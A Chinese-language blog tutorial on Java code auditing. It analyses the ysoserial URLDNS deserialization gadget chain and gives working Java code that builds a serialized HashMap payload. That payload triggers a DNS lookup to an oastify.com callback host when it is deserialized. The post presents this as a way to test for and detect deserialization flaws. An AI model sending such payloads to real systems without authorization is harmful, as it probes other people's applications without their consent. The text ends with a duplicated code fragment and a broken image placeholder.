java代码审计之URLDNS
URLDNS利用 Java 中 java.net.URL
类的特性,生成一个仅触发 DNS 请求的序列化负载。这个利用链非常适合用于检测和验证 Java 应用程序是否存在反序列化漏洞,因为它不限制jak版本,使用JAVA内置类,对第三方依赖没有要求,并且不会执行任意代码,只会触发 DNS 请求,从而降低测试过程中的风险。
1. git地址
ysoserial/src/main/java/ysoserial/payloads/URLDNS.java at master · frohoff/ysoserial · GitHub
2. 工具链如下:
3. 工具链分析
new UEL()—>URL.hashCode(),如果hashCode=-1,则重新计算hashCode
如果hashCode=-1,则通过以下函数获取IP地址。
接下来分析哪里调用URL.hashCode函数,new HashMap(),进入HashMap函数,查找到readObject(在进行反序列化时会调用readObject()方法),在从readObject中发现,hash(key),
当key!=null时,key的类型为URL,hashCode=-1 会调用hashCode函数,从而触发DNSURL地址。
序列化:
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
public static void serizlizable(String path,Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(obj);
}
public static Object unserizlizable(String path) throws Exception {
ObjectInputStream objectIutputStream = new ObjectInputStream(new FileInputStream(path));
return objectIutputStream.readObject();
}
public static void main(String[] args) throws Exception {
URL url = new URL("http://r4wbxk090bj0gdzd3jipls77qywpkf84.oastify.com");
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.setInt(url,12);
HashMap<URL, Object> map = new HashMap<>();
map.put(url,null);
hashCode.setInt(url,-1);
serizlizable("url.txt",map);
}
}
反序列化,触发DNSlog请求
public static void main(String[] args) throws Exception {
unserizlizable("url.txt");
}
able(“url.txt”);
}
[外链图片转存中...(img-dnPMnhY4-1716209546048)]